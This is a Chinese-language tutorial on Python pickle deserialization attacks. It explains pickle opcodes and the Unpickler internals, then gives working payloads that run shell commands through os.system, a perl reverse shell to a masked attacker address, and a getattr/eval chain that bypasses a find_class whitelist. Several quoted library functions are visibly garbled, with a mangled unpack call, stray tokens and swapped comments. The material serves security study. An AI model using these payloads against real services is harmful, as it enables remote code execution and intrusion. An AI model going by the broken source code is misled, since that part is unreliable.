python反序列化漏洞

import pickle

class test:
    def __init__(self):
        self.people = 'lituer'
a = test()
serialized = pickle.dumps(a, protocol=3)  # 指定PVM 协议版本
print(serialized)

unserialized = pickle.loads(serialized)  # 注意，loads 能够自动识别反序列化的版本
print(unserialized.people)

'\x80\x03c__main__\ntest\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00peopleq\x03X\x06\x00\x00\x00lituerq\x04sb.'
1

import pickletools
。。。
print(pickletools.dis(serialized))

    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ test'
   17: q    BINPUT     0
   19: )    EMPTY_TUPLE
   20: \x81 NEWOBJ
   21: q    BINPUT     1
   23: }    EMPTY_DICT
   24: q    BINPUT     2
   26: X    BINUNICODE 'people'
   37: q    BINPUT     3
   39: X    BINUNICODE 'lituer'
   50: q    BINPUT     4
   52: s    SETITEM
   53: b    BUILD
   54: .    STOP
highest protocol among opcodes = 2

MARK           = b'('   # push special markobject on stack
STOP           = b'.'   # every pickle ends with STOP
POP            = b'0'   # discard topmost stack item
POP_MARK       = b'1'   # discard stack top through topmost markobject
DUP            = b'2'   # duplicate top stack item
FLOAT          = b'F'   # push float object; decimal string argument
INT            = b'I'   # push integer or bool; decimal string argument
BININT         = b'J'   # push four-byte signed int
BININT1        = b'K'   # push 1-byte unsigned int
LONG           = b'L'   # push long; decimal string argument
BININT2        = b'M'   # push 2-byte unsigned int
NONE           = b'N'   # push None
PERSID         = b'P'   # push persistent object; id is taken from string arg
BINPERSID      = b'Q'   #  "       "         "  ;  "  "   "     "  stack
REDUCE         = b'R'   # apply callable to argtuple, both on stack
STRING         = b'S'   # push string; NL-terminated string argument
BINSTRING      = b'T'   # push string; counted binary string argument
SHORT_BINSTRING= b'U'   #  "     "   ;    "      "       "      " < 256 bytes
UNICODE        = b'V'   # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE     = b'X'   #   "     "       "  ; counted UTF-8 string argument
APPEND         = b'a'   # append stack top to list below it
BUILD          = b'b'   # call __setstate__ or __dict__.update()
GLOBAL         = b'c'   # push self.find_class(modname, name); 2 string args
DICT           = b'd'   # build a dict from stack items
EMPTY_DICT     = b'}'   # push empty dict
APPENDS        = b'e'   # extend list on stack by topmost stack slice
GET            = b'g'   # push item from memo on stack; index is string arg
BINGET         = b'h'   #   "    "    "    "   "   "  ;   "    " 1-byte arg
INST           = b'i'   # build & push class instance
LONG_BINGET    = b'j'   # push item from memo on stack; index is 4-byte arg
LIST           = b'l'   # build list from topmost stack items
EMPTY_LIST     = b']'   # push empty list
OBJ            = b'o'   # build & push class instance
PUT            = b'p'   # store stack top in memo; index is string arg
BINPUT         = b'q'   #   "     "    "   "   " ;   "    " 1-byte arg
LONG_BINPUT    = b'r'   #   "     "    "   "   " ;   "    " 4-byte arg
SETITEM        = b's'   # add key+value pair to dict
TUPLE          = b't'   # build tuple from topmost stack items
EMPTY_TUPLE    = b')'   # push empty tuple
SETITEMS       = b'u'   # modify dict by adding topmost key+value pairs
BINFLOAT       = b'G'   # push float; arg is 8-byte float encoding

TRUE           = b'I01\n'  # not an opcode; see INT docs in pickletools.py
FALSE          = b'I00\n'  # not an opcode; see INT docs in pickletools.py

# Protocol 2

PROTO          = b'\x80'  # identify pickle protocol
NEWOBJ         = b'\x81'  # build object by applying cls.__new__ to argtuple
EXT1           = b'\x82'  # push object from extension registry; 1-byte index
EXT2           = b'\x83'  # ditto, but 2-byte index
EXT4           = b'\x84'  # ditto, but 4-byte index
TUPLE1         = b'\x85'  # build 1-tuple from stack top
TUPLE2         = b'\x86'  # build 2-tuple from two topmost stack items
TUPLE3         = b'\x87'  # build 3-tuple from three topmost stack items
NEWTRUE        = b'\x88'  # push True
NEWFALSE       = b'\x89'  # push False
LONG1          = b'\x8a'  # push long from < 256 bytes
LONG4          = b'\x8b'  # push really big long

_tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3]

# Protocol 3 (Python 3.x)

BINBYTES       = b'B'   # push bytes; counted binary string argument
SHORT_BINBYTES = b'C'   #  "     "   ;    "      "       "      " < 256 bytes

# Protocol 4

SHORT_BINUNICODE = b'\x8c'  # push short string; UTF-8 length < 256 bytes
BINUNICODE8      = b'\x8d'  # push very long string
BINBYTES8        = b'\x8e'  # push very long bytes string
EMPTY_SET        = b'\x8f'  # push empty set on the stack
ADDITEMS         = b'\x90'  # modify set by adding topmost stack items
FROZENSET        = b'\x91'  # build frozenset from topmost stack items
NEWOBJ_EX        = b'\x92'  # like NEWOBJ but work with keyword only arguments
STACK_GLOBAL     = b'\x93'  # same as GLOBAL but using names on the stacks
MEMOIZE          = b'\x94'  # store top of the stack in memo
FRAME            = b'\x95'  # indicate the beginning of a new frame

# Protocol 5

BYTEARRAY8       = b'\x96'  # push bytearray
NEXT_BUFFER      = b'\x97'  # push next out-of-band buffer
READONLY_BUFFER  = b'\x98'  # make top of stack readonly

首先把字节流从栈中拿出，然后指令处理器读取opcode命令，按照opcode 的操作进行一系列操作。

b'\x80\x03c__main__\ntest\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00peopleq\x03X\x06\x00\x00\x00lituerq\x04sb.'

    def load_proto(self):
        proto = self.read(1)[0]
        if not 0 <= proto <= HIGHEST_PROTOCOL:
            raise ValueError("unsupported pickle protocol: %d" % proto)
        self.proto = proto
    dispatch[PROTO[0]] = load_proto

    def load_global(self):
        #往后读到换行符作为模块名 __main__
        module = self.readline()[:-1].decode("utf-8")
        #往后读到换行符作为类名 animal
        name = self.readline()[:-1].decode("utf-8")
        #进入find_class
        klass = self.find_class(module, name)
        self.append(klass)#获取模块后添加到当前栈中
    dispatch[GLOBAL[0]] = load_global

def find_class(self, module, name):
    # 在系统审核日志中记录“pickle.find_class”事件，包括模块名和对象名
    sys.audit('pickle.find_class', module, name)
    # 如果协议版本小于3且开启了fix_imports标志，则进行特殊的名称和模块映射处理
    if self.proto < 3 and self.fix_imports:
        # 如果(module, name)在NAME_MAPPING中，则使用映射的名称代替原名称
        if (module, name) in _compat_pickle.NAME_MAPPING:
            module, name = _compat_pickle.NAME_MAPPING[(module, name)]
        # 如果module在IMPORT_MAPPING中，则使用映射的模块名代替原模块名
        elif module in _compat_pickle.IMPORT_MAPPING:
            module = _compat_pickle.IMPORT_MAPPING[module]
    # 动态加载指定模块
    __import__(module, level=0)
    # 如果协议版本大于等于4，则使用_getattribute方法获取对象
    if self.proto >= 4:
        return _getattribute(sys.modules[module], name)[0]
    # 否则，使用getattr方法获取对象
    else:
        return getattr(sys.modules[module], name)

self=> stack:[类]

def load_binput(self):
    # 从输入流中读取一个字节作为索引，表示待保存对象在memo字典中的位置
    i = self.read(1)[0]
    # 如果读取到的索引小于0，则引发ValueError异常
    if i < 0:
        raise ValueError("negative BINPUT argument")
    # 将当前堆栈顶部的对象保存到memo字典中，使用读取到的索引作为键值
    self.memo[i] = self.stack[-1]
    # 将memo字典添加到堆栈中
    self.append(self.memo)

# 将load_binput函数注册到pickle库的分发表中，以便在序列化时调用
dispatch[BINPUT[0]] = load_binput

memo=> stack:[类]

   def load_empty_tuple(self):
        self.append(())#向当前栈中增加一个新的元组
    dispatch[EMPTY_TUPLE[0]] = load_empty_tuple

self=> stack:[类，()]

    def load_newobj(self):
        args = self.stack.pop() # 空元组()
        cls = self.stack.pop() # 
        obj = cls.__new__(cls, *args) 
        #__new__方法的作用是修改不可变类(int,String)等基本类都是不可变类，此处不需修改，所以传入元组
        self.append(obj) #将实例化的test给self这个self栈中
    dispatch[NEWOBJ[0]] = load_newobj

self=> stack:[(对象)]

    def load_binput(self):
        i = self.read(1)[0]#继续读取下一个字节，赋值给i
        if i < 0:
            raise ValueError("negative BINPUT argument")
        self.memo[i] = self.stack[-1]#将栈中的栈尾(与栈顶相对)存入记忆栈中memo
    dispatch[BINPUT[0]] = load_binput

memo=> stack:[(类) , (对象)]

    def load_empty_dictionary(self):
        self.append({}) 
    dispatch[EMPTY_DICT[0]] = load_empty_dictionary

self=> stack:[(对象)，{}]

    def load_binput(self):
        i = self.read(1)[0]
        if i < 0:
            raise ValueError("negative BINPUT argument")
        self.memo[i] = self.stack[-1]#将栈中的栈尾栈顶存入记忆栈中memo
    dispatch[BINPUT[0]] = load_binput

memo=> stack:[(类) , (对象),{}]

    def load_binunicode(self):
        len, = unpack('<i>6  
        if len &gt; maxsize:  #这里的6也就是后面的x06也就是属性名字符串的长度
            raise UnpicklingError("BINUNICODE exceeds system's maximum size "
                                  "of %d bytes" % maxsize)
        self.append(str(self.read(len), 'utf-8', 'surrogatepass'))
        #再往后读len长度的字节数 people（属性名） 然后存入到栈中中
    dispatch[BINUNICODE[0]] = load_binunicode

self=> stack:[(对象),{},"people"]

memo=> stack:[(类) , (对象),{},"people"]

    def load_binunicode(self):
        len, = unpack('<i> 3  
        if len &gt; maxsize: #读取后面的\x03识别长度为三的字符串
            raise UnpicklingError("BINUNICODE exceeds system's maximum size "
                                  "of %d bytes" % maxsize)
        self.append(str(self.read(len), 'utf-8', 'surrogatepass')) dog
        #再往后读len长度的字节数 lituer（属性值） 然后存入到栈中中
    dispatch[BINUNICODE[0]] = load_binunicode

self=> stack:[(对象),{},"people","lituer"]

def load_binput(self):
        i = self.read(1)[0]#继续读取下一个字节 \x04 ，赋值给i
        if i < 0:
            raise ValueError("negative BINPUT argument")
        self.memo[i] = self.stack[-1]
    dispatch[BINPUT[0]] = load_binput

memo=> stack:[(类) , (对象),{},"people","lituer"]

    def load_setitem(self):
        stack = self.stack
        value = stack.pop()  #"people"
        key = stack.pop()   #"lituer"
       #弹出这两个对象
        dict = stack[-1]    #栈顶{}
        #
        dict[key] = value   #{"people":"lituer"}
    dispatch[SETITEM[0]] = load_setitem

self=> stack:[(对象),{"people":"lituer"}]

    def load_build(self):
        stack = self.stack
        state = stack.pop() #{"people":"lituer"}
        inst = stack[-1] #(对象)
        setstate = getattr(inst, "__setstate__", None) 
        if setstate is not None: 
            #检查是否存在 __setstate__ 方法 一般是不存在的
            ###############################################
            setstate(state) ###########会造成任意函数调用
            ############################################
            return
        slotstate = None
        if isinstance(state, tuple) and len(state) == 2:
            state, slotstate = state
        if state:
            inst_dict = inst.__dict__
            intern = sys.intern
            for k, v in state.items():
                if type(k) is str:
                    inst_dict[intern(k)] = v
                else:
                    inst_dict[k] = v
        if slotstate:
            for k, v in slotstate.items():
                setattr(inst, k, v)
    dispatch[BUILD[0]] = load_build

self=> stack:[(拥有数据的对象)

    def load_stop(self):
        value = self.stack.pop()
        raise _Stop(value)
    dispatch[STOP[0]] = load_stop

import pickletools


opcode = b'''c__main__
secret
(S'secret'
S'Hack!!!'
db.'''

pickletools.dis(opcode)

将 pickle 的符号化反汇编数据输出到文件类对象 out，默认为 sys.stdout。 pickle 可以是一个字符串或一个文件类对象。 memo 可以是一个将被用作 pickle 的备忘记录的 Python 字典；它可被用来对由同一封存器创建的多个封存对象执行反汇编。 由 MARK 操作码指明的每个连续级别将会缩进 indentlevel 个空格。 如果为 annotate 指定了一个非零值，则输出中的每个操作码将以一个简短描述来标注。 annotate 的值会被用作标注所应开始的列的提示。

提供包含 pickle 中所有操作码的 iterator，返回一个 (opcode, arg, pos) 三元组的序列。 opcode 是 OpcodeInfo 类的一个实例；arg 是 Python 对象形式的 opcode 参数的已解码值；pos 是 opcode 所在的位置。 pickle 可以是一个字符串或一个文件类对象。

在消除未使用的 `PUT` 操作码之后返回一个新的等效 pickle 字符串。 优化后的 pickle 将更为简短，耗费更为的传输时间，要求更少的存储空间并能更高效地解封。

'''
#secret.py
secret="ikun"
'''
import pickle
import secret

print("secret变量的值为:"+secret.secret)

opcode=b'''c__main__
secret
(S'secret'
S'microblacker'
db.'''
hack=pickle.loads(opcode)

print("secret变量的值为:"+secret.secret)

>>>
secret变量的值为:ikun
secret变量的值为:microblacker

import secret
import pickle

class Test:
    def __init__(self):
        obj = pickle.loads(payload)  # 输入点
        if obj.pwd == secret.pwd:
            print("YES!")
        else:
            print('None')

a= Test()

obj = pickle.loads(b'''c__main__
secret
(S'secret'
S'microblacker'
db.''')  # 输入点

import secret
import pickle
import pickletools

class secret:
    pwd = "microblacker"

class Test:
    def __init__(self):
        self.pwd = secret.pwd

test = Test()

#用pickletools.optimize优化
serialized = pickletools.optimize(pickle.dumps(test, protocol=0))
print(serialized)
>>>
b'ccopy_reg\n_reconstructor\n(c__main__\nTest\nc__builtin__\nobject\nNtR(dVpwd\nVmicroblacker\nsb.'

b'ccopy_reg\n_reconstructor\n(c__main__\nTest\nc__builtin__\nobject\nNtR(dVpwd\ncsecret\npwd\nsb.'

    def load_reduce(self):
        stack = self.stack
        args = stack.pop() #弹栈作为一个参数，参数必须是元组
        func = stack[-1]# 栈中的最后一个元素作为函数的参数
        stack[-1] = func(*args)#将原来的栈区中的函数元素覆盖成函数执行结果
    dispatch[REDUCE[0]] = load_reduce

opcode=b'''cos
system
(S'whoami'
tR.'''

    def load_inst(self):
        module = self.readline()[:-1].decode("ascii")#获得module
        name = self.readline()[:-1].decode("ascii")#获得参数，name
        klass = self.find_class(module, name)#放到find_class寻找调用
        self._instantiate(klass, self.pop_mark())#pop_mark 获取参数
    dispatch[INST[0]] = load_inst

def pop_mark(self):
    items = self.stack
    self.stack = self.metastack.pop()
    self.append = self.stack.append
    return items#先将当前栈赋值给items 然后弹出栈内元素 随后 将这个栈赋值给当前栈 返回items

opcode=b'''(S'whoami'
ios
system
.'''

    def load_obj(self):
        # Stack is ... markobject classobject arg1 arg2 ...
        args = self.pop_mark() #当前栈中所有的数据赋值给args
        cls = args.pop(0) #弹出第一个，作为类名 利用是为函数名
        self._instantiate(cls, args)
    dispatch[OBJ[0]] = load_obj

opcode=b'''(cos
system
S'whoami'
o.'''

def load_build(self):
    stack = self.stack
    state = stack.pop()
    # 获取栈的倒数第二个元素赋值给inst
    inst = stack[-1]
    # 获取inst对象的__setstate__属性
    setstate = getattr(inst, "__setstate__", None)
    if setstate is not None:
        setstate(state)
        return
    slotstate = None
    # 如果state是元组类型并且长度为2，将其分解为state和slotstate
    if isinstance(state, tuple) and len(state) == 2:
        state, slotstate = state
        ##如果"__setstate__"为空，则state与对象默认的__dict__合并，这一步其实就是将序列化前保存的持久化属性和对象属性字典合并
    if state:
        inst_dict = inst.__dict__
        intern = sys.intern
        # 遍历state字典，将键名intern后赋值给inst_dict，键值直接赋值
        for k, v in state.items():
            if type(k) is str:
                inst_dict[intern(k)] = v
            else:
                inst_dict[k] = v
    # 如果slotstate不为空，遍历slotstate字典，并将其键值对赋值给inst对象
    if slotstate:
        for k, v in slotstate.items():
            setattr(inst, k, v)
dispatch[BUILD[0]] = load_build

b'ccopy_reg\n_reconstructor\n(c__main__\nTest\nc__builtin__\nobject\nNtR(d(V__setstate__\ncos\nsystem\nubVwhoami\nb.'

abc= b'ccopy_reg\n_reconstructor\n(c__main__\nTest\nc__builtin__\nobject\nNtR(d(V__setstate__\ncos\nsystem\nubVwhoami\nb.'
print(pickle.dumps(pickle.loads(abc),protocol=3))
>>>
#b'\x80\x03c__main__\nTest\nq\x00)\x81q\x01}q\x02X\x0c\x00\x00\x00__setstate__q\x03cnt\nsystem\nq\x04sb.'

import pickle
import os
class Person(object):
    def __reduce__(self):
        return (os.system,("""perl -e 'use Socket;$i="xx.xxx.xxx.xxx";$p=xxxx;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'""",))
admin=Person()
a=pickle.dumps(admin)
pickle.loads(a)

import builtins 
import io       
import pickle   
# 需要限制反序列化对象时可以使用的类
safe_builtins = {
    'range',        # range类型
    'complex',      # 复数类型
    'set',          # 集合类型
    'frozenset',    # 冻结集合类型
    'slice',        # 切片类型
}

# 定义RestrictedUnpickler类继承自pickle.Unpickler
class RestrictedUnpickler(pickle.Unpickler):

    # 重写find_class方法
    def find_class(self, module, name):
        # 如果被反序列化的对象的类属于builtins模块中的安全类，则返回该类
        if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)
        # 如果不是安全类，就抛出异常，禁止反序列化
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))

# 定义一个帮助函数restricted_loads来反序列化对象
def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    # 将传入的字符串s转换为bytes，并使用RestrictedUnpickler类反序列化
    return RestrictedUnpickler(io.BytesIO(s)).load()

opcode=b'''cbuiltins
getattr
p0                    #取到内置函数 getattr()，用于获取对象的属性。
(cbuiltins
dict
S'get'
tRp1                  #取到builtins.dict
cbuiltins
globals
)Rp2                  # getattr(dict, 'get')
00g1
(g2
S'__builtins__'       # get(__import__('builtins').globals(), '__builtins__')
tRp3
0g0                       #getattr(__builtins__, 'eval')
(g3
S'eval'
tR(S'__import__("os").system("calc")'    # 取到 eval 然后实现 RCE
tR.
'''

    0: c    GLOBAL     'builtins getattr'
   18: p    PUT        0
   21: (    MARK
   22: c        GLOBAL     'builtins dict'
   37: S        STRING     'get'
   44: t        TUPLE      (MARK at 21)
   45: R    REDUCE
   46: p    PUT        1
   49: c    GLOBAL     'builtins globals'
   67: )    EMPTY_TUPLE
   68: R    REDUCE
   69: p    PUT        2
   72: 0    POP
   73: 0    POP
   74: g    GET        1
   77: (    MARK
   78: g        GET        2
   81: S        STRING     '__builtins__'
   97: t        TUPLE      (MARK at 77)
   98: R    REDUCE
   99: p    PUT        3
  102: 0    POP
  103: g    GET        0
  106: (    MARK
  107: g        GET        3
  110: S        STRING     'eval'
  118: t        TUPLE      (MARK at 106)
  119: R    REDUCE
  120: (    MARK
  121: S        STRING     '__import__("os").system("whoami")'
  158: t        TUPLE      (MARK at 120)
  159: R    REDUCE
  160: .    STOP

opcode=b'\x80\x03(cbuiltins\ngetattr\np0\ncbuiltins\ndict\np1\nX\x03\x00\x00\x00getop2\n0(g2\n(cbuiltins\nglobals\noX\x0C\x00\x00\x00__builtins__op3\n(g0\ng3\nX\x04\x00\x00\x00evalop4\n(g4\nX\x21\x00\x00\x00__import__("os").system("calc")o00.'
'''
    0: \x80 PROTO      3
    2: (    MARK
    3: c        GLOBAL     'builtins getattr'
   21: p        PUT        0
   24: c        GLOBAL     'builtins dict'
   39: p        PUT        1
   42: X        BINUNICODE 'get'
   50: o        OBJ        (MARK at 2)
   51: p    PUT        2
   54: 0    POP
   55: (    MARK
   56: g        GET        2
   59: (        MARK
   60: c            GLOBAL     'builtins globals'
   78: o            OBJ        (MARK at 59)
   79: X        BINUNICODE '__builtins__'
   96: o        OBJ        (MARK at 55)
   97: p    PUT        3
  100: (    MARK
  101: g        GET        0
  104: g        GET        3
  107: X        BINUNICODE 'eval'
  116: o        OBJ        (MARK at 100)
  117: p    PUT        4
  120: (    MARK
  121: g        GET        4
  124: X        BINUNICODE '__import__("os").system("calc")o0'
  162: 0        POP
  163: .        STOP
highest protocol among opcodes = 2

'''

S'flag' = S'\x66\x6c\x61\x67'

S'flag' = V'\u0066\u006C\u0061\u0067'

import sys
import secret
print(dir(sys.modules['secret']))
#

GLOBAL('os', 'system')             =>  cos\nsystem\n
INST('os', 'system', 'ls')         =>  (S'ls'\nios\nsystem\n
OBJ(GLOBAL('os', 'system'), 'ls')  =>  (cos\nsystem\nS'ls'\no

return           =>  .
return var       =>  g_\n.
return 1         =>  I1\n.

#pker_test.py

i = 0
s = 'id'
lst = [i]
tpl = (0,)
dct = {tpl: 0}
system = GLOBAL('os', 'system')
system(s)
return
#命令行下
$ python3 pker.py < pker_tests.py

b"I0\np0\n0S'id'\np1\n0(g0\nlp2\n0(I0\ntp3\n0(g3\nI0\ndp4\n0cos\nsystem\np5\n0g5\n